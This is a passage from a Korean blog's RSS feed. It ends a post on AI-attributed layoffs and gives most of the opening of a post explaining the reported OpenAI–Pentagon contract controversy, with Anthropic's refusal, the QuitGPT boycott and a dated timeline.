&lt;li&gt;&lt;a href=&quot;https://edition.cnn.com/2026/03/02/business/ai-tech-jobs-layoffs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNN Business - AI isn't causing a jobs-pocalypse. At least, not yet (2026.03.02)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/02/01/ai-layoffs-or-ai-washing/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch - AI layoffs or 'AI-washing'? (2026.02)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://builtin.com/articles/ai-washing-layoffs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Built In - Did AI Take Your Job? The Truth About AI Washing (2026)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 용어 정리 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;이 글에서 사용된 주요 용어 정리&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd; width: 30%;&quot;&gt;&lt;b&gt;AI 워싱 (AI Washing)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;실질적 AI 성과 없이 &quot;AI&quot;를 명분으로 경영 결정을 정당화하는 행위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;AI 업무 커버리지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;특정 직종의 업무 중 AI가 이론적으로 수행 가능한 비율 (대체율과 다름)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;생존자 증후군&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;대규모 해고 후 남은 직원들이 겪는 죄책감, 불안, 동기 저하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;AI 생산성 함정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;AI로 업무가 빨라져도 더 많은 업무가 할당되어 전체 부담이 줄지 않는 현상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;T자형 인재&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;하나의 깊은 전문성과 여러 분야의 넓은 이해를 겸비한 인재 유형&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;ROI (Return on Investment)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #ddd;&quot;&gt;투자 수익률. 투자한 비용 대비 얻은 이익의 비율&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/AI 주간 News (AI 트렌드 기록)</category>
      <category>AI layoffs 2026</category>
      <category>AI 구조조정</category>
      <category>AI 워싱</category>
      <category>ai 일자리 대체</category>
      <category>Anthropic 노동시장 보고서</category>
      <category>Block 4000명 해고</category>
      <category>Block AI 해고</category>
      <category>Block 주가 급등</category>
      <category>Jack Dorsey 해고</category>
      <category>화이트칼라 위기</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/542</guid>
      <comments>https://goddaehee.tistory.com/542#entry542comment</comments>
      <pubDate>Sun, 8 Mar 2026 23:03:21 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI Pentagon 계약 논란 정리(OpenAI 군사 계약 사태 해설) &amp;mdash; QuitGPT 운동 왜 150만 명이 ChatGPT 탈퇴했나</title>
      <link>https://goddaehee.tistory.com/541</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하자! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;OpenAI와 관련하여 요즘 핫한 소식을 하나 전달해 드리고자 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2264&quot; data-origin-height=&quot;1504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rlX7d/dJMcafFMlnr/8bUAjXVeIcvazFzaY8pa91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rlX7d/dJMcafFMlnr/8bUAjXVeIcvazFzaY8pa91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rlX7d/dJMcafFMlnr/8bUAjXVeIcvazFzaY8pa91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrlX7d%2FdJMcafFMlnr%2F8bUAjXVeIcvazFzaY8pa91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2264&quot; height=&quot;1504&quot; data-origin-width=&quot;2264&quot; data-origin-height=&quot;1504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 2월 마지막 주, AI 업계에 전례 없는 폭풍이 불었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI가 미 국방부(트럼프 행정부 하에서 'Department of War'로 개칭)와 기밀 시스템에 AI 모델을 배포하는 계약을 체결한 것이다. 그것도 경쟁사 Anthropic이 윤리적 이유로 같은 요구를 거절하고 정부에 의해 퇴출당한 바로 그날.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 소식이 전해지자 사용자들의 반응은 즉각적이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT 앱 삭제율이 하루 만에 295% 급증했고, &quot;QuitGPT&quot;라는 이름의 구독 취소 운동에 150만 명 이상이 동참했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic의 Claude 앱은 App Store 1위에 올랐고, OpenAI 로보틱스 팀장은 사임했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sam Altman 본인도 이 계약이 &quot;opportunistic and sloppy(기회주의적이고 엉성했다)&quot;라고 인정하며 계약 조건 재협상에 들어갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 이 사건의 전말을 정리해보려다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무슨 계약이 체결됐고, 왜 이렇게까지 커졌으며, AI 업계에 어떤 파장을 남겼는지 함께 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;사건의 배경 -- OpenAI와 Pentagon, 무슨 계약인가&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;계약 체결 경위와 타임라인&lt;/li&gt;
&lt;li&gt;계약의 구체적 내용&lt;/li&gt;
&lt;li&gt;OpenAI의 정책 변천사: 군사 금지에서 허용까지&lt;/li&gt;
&lt;li&gt;왜 'Department of War'인가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;Anthropic의 거절 -- 왜 Claude 회사는 거절했나&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Anthropic의 두 가지 레드라인&lt;/li&gt;
&lt;li&gt;기존 Anthropic-Pentagon 관계&lt;/li&gt;
&lt;li&gt;Pentagon의 보복 조치&lt;/li&gt;
&lt;li&gt;Dario Amodei의 대응&lt;/li&gt;
&lt;li&gt;Anthropic의 법적 대응 예고&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;QuitGPT 운동 -- 150만 명은 왜 움직였나&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;운동의 시작과 확산&lt;/li&gt;
&lt;li&gt;수치로 보는 사용자 이탈&lt;/li&gt;
&lt;li&gt;불매운동의 배경 요인들&lt;/li&gt;
&lt;li&gt;과거 기술 기업 불매운동과의 비교&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;Sam Altman의 대응 -- &quot;opportunistic and sloppy&quot; 인정&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내부 메모와 공개 발언&lt;/li&gt;
&lt;li&gt;계약 수정 내용&lt;/li&gt;
&lt;li&gt;여전히 남은 문제들&lt;/li&gt;
&lt;li&gt;Altman의 신뢰 위기 맥락&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;파급 효과 -- Claude #1, Grok 채택, 직원 사임&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude의 App Store 1위 등극&lt;/li&gt;
&lt;li&gt;Anthropic의 성장 수치 분석&lt;/li&gt;
&lt;li&gt;xAI Grok의 Pentagon 진입&lt;/li&gt;
&lt;li&gt;OpenAI 로보틱스 팀장 사임&lt;/li&gt;
&lt;li&gt;OpenAI 직원 공개 서한&lt;/li&gt;
&lt;li&gt;AI 업계 전체 파급 효과&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;AI 군사화 논쟁 -- 찬반 양론 정리&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;찬성 측 논거&lt;/li&gt;
&lt;li&gt;반대 측 논거&lt;/li&gt;
&lt;li&gt;법적 허점 분석&lt;/li&gt;
&lt;li&gt;Google Project Maven 사례와의 비교&lt;/li&gt;
&lt;li&gt;국제적 맥락: AI 군비 경쟁&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;커뮤니티 반응 (Reddit / X / Hacker News)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;한국 사용자에게 주는 시사점&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;마치며&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 핵심 요약 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;2026년 2월 28일, OpenAI는 미 국방부(Department of War)와 기밀 네트워크에 AI 모델을 배포하는 계약을 체결했다. &lt;br /&gt;이는 Anthropic이 자율 무기와 대규모 감시에 대한 안전장치를 요구하다 협상이 결렬된 직후 이루어졌다. &lt;br /&gt;사용자 반발로 ChatGPT 앱 삭제율이 &lt;b&gt;295% 급증&lt;/b&gt;했고, &lt;b&gt;QuitGPT 운동에 150만 명 이상&lt;/b&gt;이 참여했다. &lt;br /&gt;Sam Altman은 계약이 &quot;기회주의적이고 엉성했다&quot;고 인정한 뒤 계약 조건을 수정했다. &lt;br /&gt;Claude 앱이 &lt;b&gt;App Store 1위&lt;/b&gt;에 올랐고, OpenAI 로보틱스 팀장 &lt;b&gt;Caitlin Kalinowski&lt;/b&gt;가 사임했다.&lt;/div&gt;
&lt;!-- 용어 정리 박스 --&gt;
&lt;div style=&quot;background-color: #fef9e7; padding: 20px; border-radius: 12px; border-left: 5px solid #f39c12; margin: 0 0 30px 0;&quot;&gt;&lt;b&gt;이 글을 읽기 전에: 용어 정리&lt;/b&gt;
&lt;p style=&quot;margin-top: 12px; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건을 이해하려면 몇 가지 배경 지식이 필요하다. 간단히 정리한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Department of War(전쟁부)&lt;/b&gt;: 트럼프 행정부가 2025년 말 국방부(Department of Defense)를 개칭한 이름이다. 실질적으로 같은 조직이지만, 이 글에서는 보도에 따라 'Pentagon' 또는 '국방부'로 혼용한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;기밀 네트워크(Classified Network)&lt;/b&gt;: 미군이 최고 수준의 정보 분석, 무기 개발, 전장 작전에 사용하는 보안 클라우드 시스템이다. 지금까지 이 시스템에 접근 가능했던 AI 모델은 Anthropic의 Claude뿐이었다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;자율 무기(Autonomous Weapons)&lt;/b&gt;: 인간의 직접적인 통제 없이 목표물을 식별하고 공격할 수 있는 무기 시스템이다. 핵심 쟁점은 &quot;인간이 최종 결정권을 가져야 하는가&quot;이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;대규모 국내 감시(Mass Domestic Surveillance)&lt;/b&gt;: 사법부의 영장 없이 자국민을 광범위하게 감시하는 행위이다. 미국 수정헌법 제4조에 의해 원칙적으로 금지되어 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;&quot;All lawful purposes&quot;(모든 합법적 목적)&lt;/b&gt;: Pentagon이 AI 기업들에 요구한 사용 조건이다. 현행법상 합법인 모든 군사 활동에 AI를 사용할 수 있도록 허용하라는 의미다. Anthropic이 거부하고 OpenAI와 xAI가 수용한 바로 그 조건이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;공급망 위험(Supply-chain Risk)&lt;/b&gt;: 국방부가 특정 기업을 국가 안보에 위험한 공급업체로 지정하는 것이다. 지정되면 해당 기업의 제품을 군 계약업체들도 사용할 수 없게 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 1: 사건의 배경 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 사건의 배경 -- OpenAI와 Pentagon, 무슨 계약인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;계약 체결 경위와 타임라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사건의 발단은 2026년 2월 마지막 주로 거슬러 올라간다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;미 국방부는 기밀 클라우드 시스템에서 사용할 AI 모델을 확보하기 위해 Anthropic과 협상을 진행 중이었다. 당시 Pentagon의 기밀 시스템에서 사용 가능한 AI 모델은 Anthropic의 Claude가 유일했기 때문에, 국방부 입장에서 이 협상은 매우 중요했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그러나 Anthropic이 자율 무기와 대규모 감시에 대한 안전장치를 요구하며 &quot;모든 합법적 목적(all lawful purposes)&quot;이라는 포괄적 사용 조건을 거부하자, 협상이 결렬되었다. Pentagon은 Anthropic에게 기한을 설정했고, Anthropic이 이를 넘기자 협상을 종료했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Anthropic과의 협상이 무산된 바로 그 다음 날인 2026년 2월 28일&lt;/b&gt;&lt;/span&gt;, OpenAI가 Pentagon과 계약을 체결했다고 발표했다. Sam Altman은 X(구 트위터)에 이 소식을 직접 게시했다. NPR 보도에 따르면, 트럼프 행정부가 Anthropic을 퇴출시킨 직후 OpenAI가 계약을 발표한 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 타이밍은 많은 관찰자들에게 &quot;Anthropic이 빠진 자리를 노렸다&quot;는 인상을 주었고, 이후 사태 확산의 핵심 원인이 되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 타임라인 테이블 --&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 160px;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;사건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-02-23&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Elon Musk의 xAI, Grok 모델 기밀 시스템 배포 계약 체결 (Axios 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-02-26&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Anthropic CEO Dario Amodei, CNBC 인터뷰에서 &quot;Pentagon의 위협이 우리 입장을 바꾸지는 않는다&quot; 성명 발표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-02-27&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Trump 행정부, 연방 기관에 Anthropic 제품 사용 중단 명령 (6개월 전환 기간). 국방장관 Pete Hegseth, Anthropic을 '공급망 위험(supply-chain risk)'으로 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2026-02-28&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt; OpenAI, Pentagon과 기밀 네트워크 AI 배포 계약 공식 발표. Sam Altman이 X(트위터)에 직접 게시 &lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-02-28&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;ChatGPT 앱 삭제율 295% 급증 (Sensor Tower 데이터 기준, 전일 대비)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-02-28&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;ChatGPT 1점 리뷰 775% 급증. QuitGPT 운동 급속 확산 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-01&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Claude 앱, 미국 App Store 무료 앱 1위 등극. 직전까지 42위 부근이었으나 단 며칠 만에 역전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-01&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;OpenAI, 계약 세부사항 추가 공개 (TechCrunch 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-02&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Claude 앱에 '오류 증가(elevated errors)' 발생. 급격한 사용자 유입에 따른 서버 과부하 (CNBC 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-03&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Sam Altman, 내부 메모에서 계약이 &quot;opportunistic and sloppy&quot;했다고 인정. 계약 조건 수정 발표. &quot;서두르지 말았어야 했다(shouldn't have rushed)&quot; 발언&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-04&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Dario Amodei, OpenAI의 메시징을 &quot;straight up lies(노골적인 거짓말)&quot;이라 비판 (TechCrunch 보도). OpenAI 직원 공개 서한 보도 (CNN)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-04&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;방산 업체들, 잇달아 Claude 사용 중단 (CNBC 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-05&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Anthropic CEO, Pentagon 관리 Emil Michael과 재협상 시도 보도 (TechCrunch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-06&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Amodei, 유출 메모(트럼프 행정부 비판 내용)에 대해 사과. 안전장치에 대한 기본 입장은 철회하지 않음 (Axios 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-07&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;OpenAI 로보틱스 팀장 Caitlin Kalinowski 사임. &quot;사법부 감독 없는 감시와 인간 승인 없는 자율성은 더 많은 숙고가 필요한 레드라인이었다&quot; 발표 (Bloomberg, TechCrunch, Fortune 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026-03-07&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Anthropic, Pentagon의 '공급망 위험' 지정에 대한 법적 소송 예고 (The Defense Post, The Hill 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.cnbc.com/2026/03/03/openai-sam-altman-pentagon-deal-amended-surveillance-limits.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC&lt;/a&gt;, &lt;a href=&quot;https://techcrunch.com/2026/03/01/openai-shares-more-details-about-its-agreement-with-the-pentagon/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;, &lt;a href=&quot;https://www.cnn.com/2026/02/27/tech/openai-pentagon-deal-ai-systems&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNN&lt;/a&gt;, &lt;a href=&quot;https://www.npr.org/2026/02/27/nx-s1-5729118/trump-anthropic-pentagon-openai-ai-weapons-ban&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;NPR&lt;/a&gt;)&lt;/p&gt;
